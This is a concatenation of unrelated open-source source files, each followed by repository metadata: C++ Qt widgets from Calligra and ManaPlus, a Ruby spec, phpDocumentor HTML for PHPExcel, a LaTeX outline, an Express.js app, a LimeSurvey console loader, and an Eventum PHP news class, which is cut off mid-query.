the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. */ #include "KarbonSmallStylePreview.h" #include <KarbonGradientHelper.h> #include <KoGradientBackground.h> #include <KoCanvasBase.h> #include <KoToolManager.h> #include <KoCanvasController.h> #include <KoShapeManager.h> #include <KoShape.h> #include <KoSelection.h> #include <KoShapePaintingContext.h> #include <KoShapeStroke.h> #include <KoViewConverter.h> #include <klocale.h> #include <kglobalsettings.h> #include <QColor> #include <QPushButton> #include <QLabel> #include <QLayout> #include <QPixmap> #include <QGridLayout> #include <QPainter> #include <QPaintEvent> #include <QPointF> #include <QRectF> #define FRAMEWIDTH 75 #define FRAMEHEIGHT 15 class KarbonFillStyleWidget : public QPushButton { public: KarbonFillStyleWidget(QWidget * parent) : QPushButton(parent), m_fill(0), m_checkerPainter(5) { setCursor(Qt::PointingHandCursor); setToolTip(i18n("Press to apply fill to selection")); } virtual ~KarbonFillStyleWidget() { if (m_fill && !m_fill->deref()) delete m_fill; } void setFill(KoShapeBackground * fill) { if (fill != m_fill) { if (m_fill && !m_fill->deref()) delete m_fill; m_fill = fill; if (m_fill) m_fill->ref(); } update(); } protected: virtual void paintEvent(QPaintEvent* event) { QPainter painter(this); painter.setClipRect(event->rect()); if (m_fill) { m_checkerPainter.paint(painter, rect()); KoGradientBackground * gradientFill = dynamic_cast<KoGradientBackground*>(m_fill); if (gradientFill) { const QGradient * gradient = gradientFill->gradient(); QGradient * defGradient = KarbonGradientHelper::defaultGradient(gradient->type(), gradient->spread(), gradient->stops()); QBrush brush(*defGradient); delete defGradient; painter.setBrush(brush); painter.setPen(Qt::NoPen); painter.drawRect(rect()); } else { // use the background to draw painter.setPen(Qt::NoPen); QPainterPath p; p.addRect(rect()); KoViewConverter converter; KoShapePaintingContext context; m_fill->paint(painter, converter, context, p); } } else { painter.setFont(KGlobalSettings::smallestReadableFont()); painter.setBrush(Qt::black); painter.setPen(Qt::black); painter.drawText(rect(), Qt::AlignCenter, i18nc("The style has no fill", "None")); } painter.end(); //QPushButton::paintEvent( event ); } private: KoShapeBackground * m_fill; ///< the fill to preview KoCheckerBoardPainter m_checkerPainter; }; class KarbonStrokeStyleWidget : public QPushButton { public: KarbonStrokeStyleWidget(QWidget * parent) : QPushButton(parent), m_stroke(0), m_checkerPainter(5) { setCursor(Qt::PointingHandCursor); setToolTip(i18n("Press to apply stroke to selection")); } virtual ~KarbonStrokeStyleWidget() { if (m_stroke && !m_stroke->deref()) delete m_stroke; } void setStroke(KoShapeStrokeModel * stroke) { if (stroke != m_stroke) { if (m_stroke && !m_stroke->deref()) delete m_stroke; m_stroke = stroke; if (m_stroke) m_stroke->ref(); } update(); } protected: virtual void paintEvent(QPaintEvent* event) { QPainter painter(this); painter.setClipRect(event->rect()); if (m_stroke) { m_checkerPainter.paint(painter, rect()); const KoShapeStroke * line = dynamic_cast<const KoShapeStroke*>(m_stroke); if (line) { painter.setPen(Qt::NoPen); QBrush brush = line->lineBrush(); if (brush.gradient()) { QGradient * defGradient = KarbonGradientHelper::defaultGradient(brush.gradient()->type(), brush.gradient()->spread(), brush.gradient()->stops()); QBrush brush(*defGradient); delete defGradient; painter.setBrush(brush); painter.setPen(Qt::NoPen); painter.drawRect(rect()); } else if (brush.style() == Qt::TexturePattern) { painter.fillRect(rect(), brush); } else { painter.fillRect(rect(), QBrush(line->color())); } } else { painter.setFont(KGlobalSettings::smallestReadableFont()); painter.setBrush(Qt::black); painter.setPen(Qt::black); painter.drawText(rect(), Qt::AlignCenter, i18nc("The style has a custom stroking", "Custom")); } } else { painter.setFont(KGlobalSettings::smallestReadableFont()); painter.setBrush(Qt::black); painter.setPen(Qt::black); painter.drawText(rect(), Qt::AlignCenter, i18nc("The style has no stroking", "None")); } painter.end(); //QPushButton::paintEvent( event ); } private: KoShapeStrokeModel * m_stroke; ///< the stroke to preview KoCheckerBoardPainter m_checkerPainter; }; KarbonSmallStylePreview::KarbonSmallStylePreview(QWidget* parent) : QWidget(parent) { setFont(KGlobalSettings::smallestReadableFont()); /* Create widget layout */ QGridLayout *layout = new QGridLayout(this); QLabel * strokeLabel = new QLabel(i18n("Stroke:"), this); strokeLabel->setMinimumHeight(FRAMEHEIGHT); m_strokeFrame = new KarbonStrokeStyleWidget(this); m_strokeFrame->setMinimumSize(QSize(FRAMEWIDTH, FRAMEHEIGHT)); QLabel * fillLabel = new QLabel(i18n("Fill:"), this); fillLabel->setMinimumHeight(FRAMEHEIGHT); m_fillFrame = new KarbonFillStyleWidget(this); m_fillFrame->setMinimumSize(QSize(FRAMEWIDTH, FRAMEHEIGHT)); layout->addWidget(strokeLabel, 0, 0); layout->addWidget(m_strokeFrame, 0, 1); layout->addWidget(fillLabel, 1, 0); layout->addWidget(m_fillFrame, 1, 1); layout->setContentsMargins(10, 0, 10, 0); layout->setVerticalSpacing(0); setLayout(layout); connect(KoToolManager::instance(), SIGNAL(changedCanvas(const KoCanvasBase *)), this, SLOT(canvasChanged(const KoCanvasBase *))); connect(m_strokeFrame, SIGNAL(clicked()), this, SIGNAL(strokeApplied())); connect(m_fillFrame, SIGNAL(clicked()), this, SIGNAL(fillApplied())); } KarbonSmallStylePreview::~KarbonSmallStylePreview() { } void KarbonSmallStylePreview::canvasChanged(const KoCanvasBase *canvas) { if (canvas) { connect(canvas->shapeManager(), SIGNAL(selectionChanged()), this, SLOT(selectionChanged())); connect(canvas->shapeManager(), SIGNAL(selectionContentChanged()), this, SLOT(selectionChanged())); } selectionChanged(); } void KarbonSmallStylePreview::selectionChanged() { KoCanvasController * controller = KoToolManager::instance()->activeCanvasController(); if (! controller || ! controller->canvas()) { m_fillFrame->setFill(0); m_strokeFrame->setStroke(0); QWidget::update(); return; } KoShape * shape = controller->canvas()->shapeManager()->selection()->firstSelectedShape(); if (shape) { m_fillFrame->setFill(shape->background()); m_strokeFrame->setStroke(shape->stroke()); } else { m_fillFrame->setFill(0); m_strokeFrame->setStroke(0); } QWidget::update(); } #include "KarbonSmallStylePreview.moc"
abhishekmurthy/Calligra
karbon/ui/widgets/KarbonSmallStylePreview.cpp
C++
gpl-2.0
8,849
=begin Copyright (C) 2013 Camille Baldock Rubyclopedia is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Rubyclopedia is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. =end require 'spec_helper' describe CodecademyImportService do it "processes JSON feed" do CodecademyImportService.new.process_courses "#{Rails.root}/spec/testdata/codecademy.html" expect(Article.count).to eq(19) end it "processes JSON feed without duplicates" do CodecademyImportService.new.process_courses "#{Rails.root}/spec/testdata/codecademy.html" CodecademyImportService.new.process_courses "#{Rails.root}/spec/testdata/codecademy.html" expect(Article.count).to eq(19) end end
camilleldn/rubyclopedia
spec/models/codecademy_import_service_spec.rb
Ruby
gpl-2.0
1,237
<!DOCTYPE html><html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"> <meta charset="utf-8"> <title>PHPExcel classes » PHPExcel\Chart</title> <meta name="author" content="Mike van Riel"> <meta name="description" content=""> <link href="../css/template.css" rel="stylesheet" media="all"> <script src="../js/jquery-1.7.1.min.js" type="text/javascript"></script><script src="../js/jquery-ui-1.8.2.custom.min.js" type="text/javascript"></script><script src="../js/jquery.mousewheel.min.js" type="text/javascript"></script><script src="../js/bootstrap.js" type="text/javascript"></script><script src="../js/template.js" type="text/javascript"></script><script src="../js/prettify/prettify.min.js" type="text/javascript"></script><link rel="shortcut icon" href="../img/favicon.ico"> <link rel="apple-touch-icon" href="../img/apple-touch-icon.png"> <link rel="apple-touch-icon" sizes="72x72" href="../img/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="../img/apple-touch-icon-114x114.png"> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"><div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></a><a class="brand" href="../index.html">PHPExcel classes</a><div class="nav-collapse"><ul class="nav"> <li class="dropdown"> <a href="#api" class="dropdown-toggle" data-toggle="dropdown"> API Documentation <b class="caret"></b></a><ul class="dropdown-menu"> <li><a>Packages</a></li> <li><a href="../packages/Default.html"><i class="icon-folder-open"></i> Default</a></li> <li><a href="../packages/JAMA.html"><i class="icon-folder-open"></i> JAMA</a></li> <li><a href="../packages/JAMA%0D%0ACholesky%20decomposition%20class%0D%0AFor%20a%20symmetric,%20positive%20definite%20matrix%20A,%20the%20Cholesky%20decomposition%0D%0Ais%20an%20lower%20triangular%20matrix%20L%20so%20that%20A%20=%20L*L'.html"><i class="icon-folder-open"></i> JAMA Cholesky decomposition class For a symmetric, positive definite matrix A, the Cholesky decomposition is an lower triangular matrix L so that A = L*L'</a></li> <li><a href="../packages/JAMA%0D%0AClass%20to%20obtain%20eigenvalues%20and%20eigenvectors%20of%20a%20real%20matrix.html"><i class="icon-folder-open"></i> JAMA Class to obtain eigenvalues and eigenvectors of a real matrix</a></li> <li><a href="../packages/JAMA%0D%0AError%20handling.html"><i class="icon-folder-open"></i> JAMA Error handling</a></li> <li><a href="../packages/JAMA%0D%0AFor%20an%20m-by-n%20matrix%20A%20with%20m%20&gt;=%20n,%20the%20LU%20decomposition%20is%20an%20m-by-n%0D%0Aunit%20lower%20triangular%20matrix%20L,%20an%20n-by-n%20upper%20triangular%20matrix%20U,%0D%0Aand%20a%20permutation%20vector%20piv%20of%20length%20m%20so%20that%20A(piv,:)%20=%20L*U.html"><i class="icon-folder-open"></i> JAMA For an m-by-n matrix A with m &gt;= n, the LU decomposition is an m-by-n unit lower triangular matrix L, an n-by-n upper triangular matrix U, and a permutation vector piv of length m so that A(piv,:) = L*U</a></li> <li><a href="../packages/JAMA%0D%0AFor%20an%20m-by-n%20matrix%20A%20with%20m%20&gt;=%20n,%20the%20QR%20decomposition%20is%20an%20m-by-n%0D%0Aorthogonal%20matrix%20Q%20and%20an%20n-by-n%20upper%20triangular%20matrix%20R%20so%20that%0D%0AA%20=%20Q*R.html"><i class="icon-folder-open"></i> JAMA For an m-by-n matrix A with m &gt;= n, the QR decomposition is an m-by-n orthogonal matrix Q and an n-by-n upper triangular matrix R so that A = Q*R</a></li> <li><a href="../packages/JAMA%0D%0AFor%20an%20m-by-n%20matrix%20A%20with%20m%20&gt;=%20n,%20the%20singular%20value%20decomposition%20is%0D%0Aan%20m-by-n%20orthogonal%20matrix%20U,%20an%20n-by-n%20diagonal%20matrix%20S,%20and%0D%0Aan%20n-by-n%20orthogonal%20matrix%20V%20so%20that%20A%20=%20U*S*V'.html"><i class="icon-folder-open"></i> JAMA For an m-by-n matrix A with m &gt;= n, the singular value decomposition is an m-by-n orthogonal matrix U, an n-by-n diagonal matrix S, and an n-by-n orthogonal matrix V so that A = U*S*V'</a></li> <li><a href="../packages/JAMA%0D%0APythagorean%20Theorem:%0D%0Aa%20=%203%0D%0Ab%20=%204%0D%0Ar%20=%20sqrt(square(a)%20+%20square(b))%0D%0Ar%20=%205%0D%0Ar%20=%20sqrt(a%5E2%20+%20b%5E2)%20without%20under.overflow.html"><i class="icon-folder-open"></i> JAMA Pythagorean Theorem: a = 3 b = 4 r = sqrt(square(a) + square(b)) r = 5 r = sqrt(a^2 + b^2) without under/overflow</a></li> <li><a href="../packages/PHPExcel.html"><i class="icon-folder-open"></i> PHPExcel</a></li> </ul> </li> <li class="dropdown" id="charts-menu"> <a href="#charts" class="dropdown-toggle" data-toggle="dropdown"> Charts <b class="caret"></b></a><ul class="dropdown-menu"><li><a href="../graph_class.html"><i class="icon-list-alt"></i> Class hierarchy diagram</a></li></ul> </li> <li class="dropdown" id="reports-menu"> <a href="#reports" class="dropdown-toggle" data-toggle="dropdown"> Reports <b class="caret"></b></a><ul class="dropdown-menu"> <li><a href="../errors.html"><i class="icon-remove-sign"></i> Errors  <span class="label label-info">519</span></a></li> <li><a href="../markers.html"><i class="icon-map-marker"></i> Markers  <ul> <li>todo  <span class="label label-info">19</span> </li> <li>fixme  <span class="label label-info">10</span> </li> </ul></a></li> <li><a href="../deprecated.html"><i class="icon-stop"></i> Deprecated elements  <span class="label label-info">12</span></a></li> </ul> </li> </ul></div> </div></div> <div class="go_to_top"><a href="#___" style="color: inherit">Back to top  <i class="icon-upload icon-white"></i></a></div> </div> <div id="___" class="container"> <noscript><div class="alert alert-warning"> Javascript is disabled; several features are only available if Javascript is enabled. </div></noscript> <div class="row"> <div class="span4"> <div class="btn-group view pull-right" data-toggle="buttons-radio"> <button class="btn details" title="Show descriptions and method names"><i class="icon-list"></i></button><button class="btn simple" title="Show only method names"><i class="icon-align-justify"></i></button> </div> <ul class="side-nav nav nav-list"> <li class="nav-header"> <i class="icon-map-marker"></i> Packages</li> <li> <a href="../packages/PHPExcel.Chart.html" title="Chart"><i class="icon-folder-open"></i>Chart</a><ul class="nav nav-list nav-packages"><li> <a href="../packages/PHPExcel.Chart.Renderer.html" title="Renderer"><i class="icon-folder-open"></i>Renderer</a><ul class="nav nav-list nav-packages"></ul> </li></ul> </li> <li class="nav-header"> <i class="icon-custom icon-class"></i> Classes</li> <li><a href="#PHPExcel_Chart_DataSeries" title="PHPExcel_Chart_DataSeries">PHPExcel_Chart_DataSeries</a></li> <li><a href="#PHPExcel_Chart_DataSeriesValues" title="PHPExcel_Chart_DataSeriesValues">PHPExcel_Chart_DataSeriesValues</a></li> <li><a href="#PHPExcel_Chart_Exception" title="PHPExcel_Chart_Exception">PHPExcel_Chart_Exception</a></li> <li><a href="#PHPExcel_Chart_Layout" title="PHPExcel_Chart_Layout">PHPExcel_Chart_Layout</a></li> <li><a href="#PHPExcel_Chart_Legend" title="PHPExcel_Chart_Legend">PHPExcel_Chart_Legend</a></li> <li><a href="#PHPExcel_Chart_PlotArea" title="PHPExcel_Chart_PlotArea">PHPExcel_Chart_PlotArea</a></li> <li><a href="#PHPExcel_Chart_Title" title="PHPExcel_Chart_Title">PHPExcel_Chart_Title</a></li> <li><a href="#PHPExcel_Chart" title="PHPExcel_Chart">PHPExcel_Chart</a></li> </ul> </div> <div class="span8 package-contents"> <ul class="breadcrumb"><li> <a href="../index.html"><i class="icon-folder-open"></i></a><span class="divider">\</span><li><a href="../packages/PHPExcel.html">PHPExcel</a></li> <li class="active"> <span class="divider">\</span><a href="../packages/PHPExcel.Chart.html">Chart</a> </li> </li></ul> <div class="package-indent"> <h3> <i class="icon-custom icon-class"></i> Classes and interfaces</h3> <div id="PHPExcel_Chart" class="element ajax clickable class"> <h1>PHPExcel_Chart<a href="../classes/PHPExcel_Chart.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_DataSeries" class="element ajax clickable class"> <h1>PHPExcel_Chart_DataSeries<a href="../classes/PHPExcel_Chart_DataSeries.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_DataSeries</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_DataSeries.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_DataSeriesValues" class="element ajax clickable class"> <h1>PHPExcel_Chart_DataSeriesValues<a href="../classes/PHPExcel_Chart_DataSeriesValues.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_DataSeriesValues</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_DataSeriesValues.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_Exception" class="element ajax clickable class"> <h1>PHPExcel_Chart_Exception<a href="../classes/PHPExcel_Chart_Exception.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_Exception</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_Exception.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_Layout" class="element ajax clickable class"> <h1>PHPExcel_Chart_Layout<a href="../classes/PHPExcel_Chart_Layout.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_Layout</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_Layout.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_Legend" class="element ajax clickable class"> <h1>PHPExcel_Chart_Legend<a href="../classes/PHPExcel_Chart_Legend.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_Legend</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_Legend.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_PlotArea" class="element ajax clickable class"> <h1>PHPExcel_Chart_PlotArea<a href="../classes/PHPExcel_Chart_PlotArea.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_PlotArea</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_PlotArea.html" class="more">« More »</a> </div> <div id="PHPExcel_Chart_Title" class="element ajax clickable class"> <h1>PHPExcel_Chart_Title<a href="../classes/PHPExcel_Chart_Title.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_Title</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_Title.html" class="more">« More »</a> </div> <ul class="breadcrumb"><li> <a href="../index.html"><i class="icon-folder-open"></i></a><span class="divider">\</span><li><a href="../packages/PHPExcel.html">PHPExcel</a></li> <li> <span class="divider">\</span><a href="../packages/PHPExcel.Chart.html">Chart</a> </li> <li class="active"> <span class="divider">\</span><a href="../packages/PHPExcel.Chart.Renderer.html">Renderer</a> </li> </li></ul> <div class="package-indent"> <h3> <i class="icon-custom icon-class"></i> Classes and interfaces</h3> <div id="PHPExcel_Chart_Renderer_jpgraph" class="element ajax clickable class"> <h1>PHPExcel_Chart_Renderer_jpgraph<a href="../classes/PHPExcel_Chart_Renderer_jpgraph.html">¶</a> </h1> <p class="short_description">PHPExcel_Chart_Renderer_jpgraph</p> <div class="details collapse"></div> <a href="../classes/PHPExcel_Chart_Renderer_jpgraph.html" class="more">« More »</a> </div> </div> </div> </div> </div> <div class="row"><footer class="span12"> Template is built using <a href="http://twitter.github.com/bootstrap/">Twitter Bootstrap 2</a> and icons provided by <a href="http://glyphicons.com/">Glyphicons</a>.<br> Documentation is powered by <a href="http://www.phpdoc.org/">phpDocumentor 2.0.0a12</a> and<br> generated on 2013-06-02T15:42:45+01:00.<br></footer></div> </div> </body> </html>
MedvedevKir/gmtest.ru
be/Documentation/API/packages/PHPExcel.Chart.html
HTML
gpl-2.0
12,589
\documentclass[a4paper,12pt]{article} \usepackage{graphicx} \date{} \begin{document} \section{Components} \label{com} \subsection{Memory Management} \include{memory} \subsection{Journaling} journal, streams, formatters, dictionary \subsection{Classes, Objects and Components} include this stuff from automation: component repository, components, documentation component repository?, hierarchy table?, live component register? include this stuff from foundation: object adaptor?, primitive object?, named objects (named object register), classes \subsection{Containers} array, binary tree, hash table, heap, index map, index set, linked list \subsection{Meshing} \subsubsection{Mesh Representation} \subsubsection{Mesh Generation} all the geometry and topology garbage, layouts, remeshers \subsection{Variables and Variable Conditions} Provide a list of all the things currently available, e.g. meshes, swarms (both integration and material), voronoi stuff, rheologies. dof layouts, extra wall vcs and stuff \subsection{Swarms} \subsection{Geometric Math Routines} vector math, tensor maths, lines, edges, planes, trig math, shapes \subsection{Integration} time integrators \subsection{Parallelisation Utilities} sync \subsection{Application Contexts} abstract context \subsection{Extending the Framework} codelets, entry points, class extensions \subsection{Unknown} Sobol generator? \section{Applications} \label{app} flatten XML, list plugins \section{Python Embedding} \label{py} \section{Examples} \label{ex} Provide some examples illustrating how to get things done. \end{document}
geodynamics/gale
doc/StGermain.tex
TeX
gpl-2.0
1,608
var express = require('express'); var path = require('path'); var favicon = require('serve-favicon'); var logger = require('morgan'); var cookieParser = require('cookie-parser'); var bodyParser = require('body-parser'); var routes = require('./routes/index'); var admin = require('./routes/admin'); var public = require('./routes/public'); var login = require('./routes/login'); var app = express(); // view engine setup app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'jade'); // uncomment after placing your favicon in /public //app.use(favicon(path.join(__dirname, 'public', 'favicon.ico'))); app.use(logger('dev')); app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false })); app.use(cookieParser()); app.use("/public", express.static(path.join(__dirname, 'public'))); app.use("/bower_components", express.static(path.join(__dirname, 'bower_components'))); var basicAuth = require(path.join(__dirname, "./utils/basic-auth")); app.use("/api/admin",basicAuth); app.use('/', routes); app.use('/api/public', public); app.use('/api/admin', admin); app.use('/api', login); // catch 404 and forward to error handler app.use(function(req, res, next) { var err = new Error('Not Found'); err.status = 404; next(err); }); // error handlers // development error handler // will print stacktrace if (app.get('env') === 'development') { app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, error: err }); }); } // production error handler // no stacktraces leaked to user app.use(function(err, req, res, next) { res.status(err.status || 500); res.render('error', { message: err.message, error: {} }); }); var mongoose = require("mongoose"); if(app.get('env') === 'development') { mongoose.set('debug', true); } var config = require(path.join(__dirname, "./config/"+app.get("env"))); var db = mongoose.connect(config.db.url, config.db.options).connection; db.on("error", console.error.bind(console, "connection error")); //When conection is opened db.once("open", function(callback) { }); // When the connection is disconnected db.on('disconnected', function () { console.log('Mongoose default connection disconnected'); }); // If the Node process ends, close the Mongoose connection process.on('SIGINT', function() { db.close(function () { console.log('Mongoose default connection disconnected through app termination'); process.exit(0); }); }); module.exports = app;
noobandy/mean-blogger
app.js
JavaScript
gpl-2.0
2,561
/* * The ManaPlus Client * Copyright (C) 2009-2010 The Mana Developers * Copyright (C) 2011-2019 The ManaPlus Developers * Copyright (C) 2019-2022 Andrei Karas * * This file is part of The ManaPlus Client. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef RESOURCES_AMBIENTLAYER_H #define RESOURCES_AMBIENTLAYER_H #include "resources/memorycounter.h" #include "localconsts.h" class Graphics; class Image; class Map; class AmbientLayer final : public MemoryCounter { public: friend class Map; /** * Constructor. * * @param img the image this overlay displays * @param parallax scroll factor based on camera position * @param speedX scrolling speed in x-direction * @param speedY scrolling speed in y-direction * @param keepRatio rescale the image to keep * the same ratio than in 800x600 resolution mode. */ AmbientLayer(const std::string &name, Image *const img, const float parallax, const float parallaxY, const float posX, const float posY, const float speedX, const float speedY, const bool keepRatio, const int mask); A_DELETE_COPY(AmbientLayer) ~AmbientLayer() override final; void update(const int timePassed, const float dx, const float dy); void draw(Graphics *const graphics, const int x, const int y) const A_NONNULL(2); int calcMemoryLocal() const override; std::string getCounterName() const override final { return mName; } private: const std::string mName; Image *mImage; float mParallaxX; float mParallaxY; float mPosX; /**< Current layer X position. */ float mPosY; /**< Current layer Y position. */ float mSpeedX; /**< Scrolling speed in X direction. */ float mSpeedY; /**< Scrolling speed in Y direction. */ int mMask; bool mKeepRatio; /**< Keep overlay ratio on every resolution */ }; #endif // RESOURCES_AMBIENTLAYER_H
ManaPlus/ManaPlus
src/resources/ambientlayer.h
C
gpl-2.0
2,953
#!/usr/bin/php <?php /* * LimeSurvey (tm) * Copyright (C) 2011 The LimeSurvey Project Team / Carsten Schmitz * All rights reserved. * License: GNU/GPL License v2 or later, see LICENSE.php * LimeSurvey is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * See COPYRIGHT.php for copyright notices and details. * * * File edited by Sam Mousa for Marcel Minke. * This loader bypasses the default Yii loader and loads a custom console class instead. */ if (!isset($argv[0])) die(); define('BASEPATH','.'); require_once(dirname(dirname(dirname(__FILE__))) . DIRECTORY_SEPARATOR . 'framework' . DIRECTORY_SEPARATOR . 'yii.php'); // Load configuration. $sCurrentDir=dirname(__FILE__); $config=require (dirname($sCurrentDir).DIRECTORY_SEPARATOR.'config'.DIRECTORY_SEPARATOR.'internal.php'); $core = dirname($sCurrentDir) . DIRECTORY_SEPARATOR . 'core' . DIRECTORY_SEPARATOR; unset ($config['defaultController']); unset ($config['config']); // fix for fcgi defined('STDIN') or define('STDIN', fopen('php://stdin', 'r')); defined('YII_DEBUG') or define('YII_DEBUG',true); if(isset($config)) { require_once($core . 'ConsoleApplication.php'); $app=Yii::createApplication('ConsoleApplication', $config); define('APPPATH', Yii::app()->getBasePath() . DIRECTORY_SEPARATOR); $app->commandRunner->addCommands(YII_PATH.'/cli/commands'); $env=@getenv('YII_CONSOLE_COMMANDS'); if(!empty($env)) $app->commandRunner->addCommands($env); } $app->run(); ?>
DogF/limepreguntas
app/application/commands/console.php
PHP
gpl-2.0
1,819
<?php /* * This file is part of the Eventum (Issue Tracking System) package. * * @copyright (c) Eventum Team * @license GNU General Public License, version 2 or later (GPL-2+) * * For the full copyright and license information, * please see the COPYING and AUTHORS files * that were distributed with this source code. */ use Eventum\Db\DatabaseException; class News { /** * Method used to get the list of news entries available in the * system for a given project. * * @param int $prj_id The project ID * @return array The list of news entries */ public static function getListByProject($prj_id, $show_full_message = false) { $stmt = "SELECT * FROM `news`, `project_news` WHERE prn_nws_id=nws_id AND prn_prj_id=? AND nws_status='active' ORDER BY nws_created_date DESC LIMIT 3 OFFSET 0"; try { $res = DB_Helper::getInstance()->getAll($stmt, [$prj_id]); } catch (DatabaseException $e) { return ''; } foreach ($res as &$row) { if ((!$show_full_message) && (strlen($row['nws_message']) > 300)) { $next_space = strpos($row['nws_message'], ' ', 254); if (empty($next_space)) { $next_space = strpos($row['nws_message'], "\n", 254); } if (($next_space > 0) && (($next_space - 255) < 50)) { $cut = $next_space; } else { $cut = 255; } $row['nws_message'] = substr($row['nws_message'], 0, $cut) . '...'; } $row['nws_message'] = nl2br(htmlspecialchars($row['nws_message'])); } return $res; } /** * Method used to add a project association to a news entry. * * @param int $nws_id The news ID * @param int $prj_id The project ID */ public static function addProjectAssociation($nws_id, $prj_id): void { $stmt = 'INSERT INTO `project_news` ( prn_nws_id, prn_prj_id ) VALUES ( ?, ? )'; DB_Helper::getInstance()->query($stmt, [$nws_id, $prj_id]); } /** * Method used to add a news entry to the system. * * @return int 1 if the insert worked, -1 otherwise */ public static function insert() { if (Validation::isWhitespace($_POST['title'])) { return -2; } if (Validation::isWhitespace($_POST['message'])) { return -3; } $stmt = 'INSERT INTO `news` ( nws_usr_id, nws_created_date, nws_title, nws_message, nws_status ) VALUES ( ?, ?, ?, ?, ? )'; $params = [ Auth::getUserID(), Date_Helper::getCurrentDateGMT(), $_POST['title'], $_POST['message'], $_POST['status'], ]; try { DB_Helper::getInstance()->query($stmt, $params); } catch (DatabaseException $e) { return -1; } $new_news_id = DB_Helper::get_last_insert_id(); // now populate the project-news mapping table foreach ($_POST['projects'] as $prj_id) { self::addProjectAssociation($new_news_id, $prj_id); } return 1; } /** * Method used to remove a news entry from the system. * * @return bool */ public static function remove() { $items = $_POST['items']; $itemlist = DB_Helper::buildList($items); $stmt = "DELETE FROM `news` WHERE nws_id IN ($itemlist)"; try { DB_Helper::getInstance()->query($stmt, $items); } catch (DatabaseException $e) { return false; } self::removeProjectAssociations($items); return true; } /** * Method used to remove the project associations for a given * news entry. * * @param int $nws_id The news ID * @param int $prj_id The project ID * @return bool */ public static function removeProjectAssociations($nws_id, $prj_id = false) { if (!is_array($nws_id)) { $nws_id = [$nws_id]; } $items = DB_Helper::buildList($nws_id); $stmt = "DELETE FROM `project_news` WHERE prn_nws_id IN ($items)"; $params = $nws_id; if ($prj_id) { $stmt .= ' AND prn_prj_id=?'; $params[] = $prj_id; } try { DB_Helper::getInstance()->query($stmt, $params); } catch (DatabaseException $e) { return false; } return true; } /** * Method used to update a news entry in the system. * * @return int 1 if the update worked, -1 otherwise */ public static function update() { if (Validation::isWhitespace($_POST['title'])) { return -2; } if (Validation::isWhitespace($_POST['message'])) { return -3; } $stmt = 'UPDATE `news` SET nws_title=?, nws_message=?, nws_status=? WHERE nws_id=?'; $params = [$_POST['title'], $_POST['message'], $_POST['status'], $_POST['id']]; try { DB_Helper::getInstance()->query($stmt, $params); } catch (DatabaseException $e) { return -1; } // remove all of the associations with projects, then add them all again self::removeProjectAssociations($_POST['id']); foreach ($_POST['projects'] as $prj_id) { self::addProjectAssociation($_POST['id'], $prj_id); } return 1; } /** * Method used to get the details of a news entry for a given news ID. * * @param int $nws_id The news entry ID * @return array The news entry details */ public static function getDetails($nws_id) { $stmt = 'SELECT * FROM `news` WHERE nws_id=?'; try { $res = DB_Helper::getInstance()->getRow($stmt, [$nws_id]); } catch (DatabaseException $e) { return ''; } // get all of the project associations here as well $res['projects'] = array_keys(self::getAssociatedProjects($res['nws_id'])); $res['nws_message'] = nl2br(htmlspecialchars($res['nws_message'])); return $res; } /** * Method used to get the details of a news entry for a given news ID. * * @param int $nws_id The news entry ID * @return array The news entry details */ public static function getAdminDetails($nws_id) { $stmt = 'SELECT * FROM `news` WHERE nws_id=?'; try { $res = DB_Helper::getInstance()->getRow($stmt, [$nws_id]); } catch (DatabaseException $e) { return ''; } // get all of the project associations here as well $res['projects'] = array_keys(self::getAssociatedProjects($res['nws_id'])); return $res; } /** * Method used to get the list of news entries available in the system. * * @return array The list of news entries */ public static function getList() { $stmt = 'SELECT nws_id, nws_title, nws_status FROM `news` 